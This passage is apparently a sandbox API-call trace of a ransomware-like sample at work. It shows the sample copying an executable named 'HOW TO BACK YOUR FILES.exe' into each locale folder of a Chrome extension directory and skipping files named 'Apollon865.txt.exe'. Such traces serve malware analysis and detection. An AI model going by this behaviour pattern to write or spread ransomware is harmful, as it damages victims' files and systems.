	[0048.886] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.893] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3535a7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3535a7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.893] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.893] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.893] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it"
	[0048.893] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it"
	[0048.893] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.899] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.899] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35380930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35380930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.899] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.899] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.900] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id"
	[0048.900] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id"
	[0048.900] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.904] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.904] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35380930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35380930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.905] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.905] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.905] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu"
	[0048.905] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu"
	[0048.905] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.905] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.909] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.909] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35380930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35380930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.909] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.909] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi"
	[0048.909] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi"
	[0048.909] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.914] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.914] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x353a6a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x353a6a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.914] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.914] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.914] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he"
	[0048.914] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he"
	[0048.914] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.918] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x353a6a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x353a6a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.918] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.918] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.919] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr"
	[0048.919] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr"
	[0048.919] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.919] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.933] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x353ccbf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x353ccbf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.933] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.933] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.933] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil"
	[0048.933] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil"
	[0048.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.937] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.937] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x353ccbf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x353ccbf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.937] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.937] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.937] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi"
	[0048.937] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi"
	[0048.937] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.937] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.972] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35418eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35418eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.972] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.972] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.972] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et"
